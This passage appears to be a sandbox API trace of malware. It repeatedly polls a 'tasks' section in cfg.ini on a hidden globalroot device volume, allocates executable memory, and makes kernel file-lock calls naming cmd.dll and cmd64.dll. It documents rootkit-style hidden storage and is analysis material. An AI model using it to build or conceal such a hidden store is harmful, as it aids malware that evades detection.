ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.489] ExFreePoolWithTag (P=0xfffffa8003c05ac0, Tag=0x0) [0129.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.489] KeLeaveCriticalRegion () [0129.489] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.489] ReleaseMutex (hMutex=0xf0) returned 1 [0129.489] Sleep (dwMilliseconds=0x927c0) [0129.505] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.505] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.505] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.505] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.505] KeEnterCriticalRegion () [0129.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.505] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.505] IdePortDispatch () returned 0x103 [0129.505] KeWaitForMutexObject () returned 0x0 [0129.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.505] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.505] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.505] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.505] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.505] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c045f0 [0129.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.505] KeLeaveCriticalRegion () [0129.505] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.505] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.505] KeEnterCriticalRegion () [0129.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.505] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.505] KeLeaveCriticalRegion () [0129.505] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.505] KeEnterCriticalRegion () [0129.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.506] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.506] IdePortDispatch () returned 0x103 [0129.506] KeWaitForMutexObject () returned 0x0 [0129.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.506] KeLeaveCriticalRegion () [0129.506] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.506] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.506] KeEnterCriticalRegion () [0129.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c03000 [0129.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.506] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.506] IdePortDispatch () returned 0x103 [0129.506] KeWaitForMutexObject () returned 0x0 [0129.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.506] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.506] IdePortDispatch () returned 0x103 [0129.507] KeWaitForMutexObject () returned 0x0 [0129.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.507] KeLeaveCriticalRegion () [0129.507] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.507] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.507] KeEnterCriticalRegion () [0129.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.507] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.507] KeLeaveCriticalRegion () [0129.507] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.507] KeEnterCriticalRegion () [0129.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.507] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.507] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05bd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.508] KeLeaveCriticalRegion () [0129.508] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.508] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.508] KeEnterCriticalRegion () [0129.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.508] ExFreePoolWithTag (P=0xfffffa8003c045f0, Tag=0x0) [0129.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.508] KeLeaveCriticalRegion () [0129.508] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.508] ReleaseMutex (hMutex=0xf0) returned 1 [0129.508] Sleep (dwMilliseconds=0x927c0) [0129.523] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.523] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.523] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.523] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.524] KeEnterCriticalRegion () [0129.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.524] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.524] IdePortDispatch () returned 0x103 [0129.524] KeWaitForMutexObject () returned 0x0 [0129.524] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.524] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.524] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.524] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.524] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.524] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05ac0 [0129.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.524] KeLeaveCriticalRegion () [0129.524] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.524] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.524] KeEnterCriticalRegion () [0129.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.524] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.524] KeLeaveCriticalRegion () [0129.524] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.524] KeEnterCriticalRegion () [0129.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.524] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.524] IdePortDispatch () returned 0x103 [0129.524] KeWaitForMutexObject () returned 0x0 [0129.525] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.525] KeLeaveCriticalRegion () [0129.525] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.525] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.525] KeEnterCriticalRegion () [0129.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.525] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c08000 [0129.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.525] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.525] IdePortDispatch () returned 0x103 [0129.525] KeWaitForMutexObject () returned 0x0 [0129.525] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.525] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.525] IdePortDispatch () returned 0x103 [0129.525] KeWaitForMutexObject () returned 0x0 [0129.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.526] KeLeaveCriticalRegion () [0129.526] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.526] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.526] KeEnterCriticalRegion () [0129.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.526] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.526] KeLeaveCriticalRegion () [0129.526] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.526] KeEnterCriticalRegion () [0129.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.526] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.526] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05b80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.526] KeLeaveCriticalRegion () [0129.526] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.526] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.526] KeEnterCriticalRegion () [0129.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.526] ExFreePoolWithTag (P=0xfffffa8003c05ac0, Tag=0x0) [0129.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.526] KeLeaveCriticalRegion () [0129.526] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.527] ReleaseMutex (hMutex=0xf0) returned 1 [0129.527] Sleep (dwMilliseconds=0x927c0) [0129.542] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.542] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.542] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.542] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.542] KeEnterCriticalRegion () [0129.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.542] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.542] IdePortDispatch () returned 0x103 [0129.543] KeWaitForMutexObject () returned 0x0 [0129.543] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.543] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.543] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.543] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.543] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.543] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05810 [0129.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.543] KeLeaveCriticalRegion () [0129.543] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.543] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.543] KeEnterCriticalRegion () [0129.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.543] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.543] KeLeaveCriticalRegion () [0129.543] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.543] KeEnterCriticalRegion () [0129.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.543] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.543] IdePortDispatch () returned 0x103 [0129.543] KeWaitForMutexObject () returned 0x0 [0129.544] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.544] KeLeaveCriticalRegion () [0129.544] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.544] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.544] KeEnterCriticalRegion () [0129.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.544] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0d000 [0129.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.544] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.544] IdePortDispatch () returned 0x103 [0129.544] KeWaitForMutexObject () returned 0x0 [0129.544] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.544] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.544] IdePortDispatch () returned 0x103 [0129.544] KeWaitForMutexObject () returned 0x0 [0129.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.545] KeLeaveCriticalRegion () [0129.545] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.545] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.545] KeEnterCriticalRegion () [0129.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.545] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.545] KeLeaveCriticalRegion () [0129.545] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.545] KeEnterCriticalRegion () [0129.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.545] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.545] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05bd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.545] KeLeaveCriticalRegion () [0129.545] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.545] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.545] KeEnterCriticalRegion () [0129.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.545] ExFreePoolWithTag (P=0xfffffa8003c05810, Tag=0x0) [0129.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.545] KeLeaveCriticalRegion () [0129.545] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.546] ReleaseMutex (hMutex=0xf0) returned 1 [0129.546] Sleep (dwMilliseconds=0x927c0) [0129.561] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.561] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.561] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.561] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.561] KeEnterCriticalRegion () [0129.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.561] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.561] IdePortDispatch () returned 0x103 [0129.561] KeWaitForMutexObject () returned 0x0 [0129.561] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.561] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.561] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.561] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.561] FsRtlInitializeFileLock 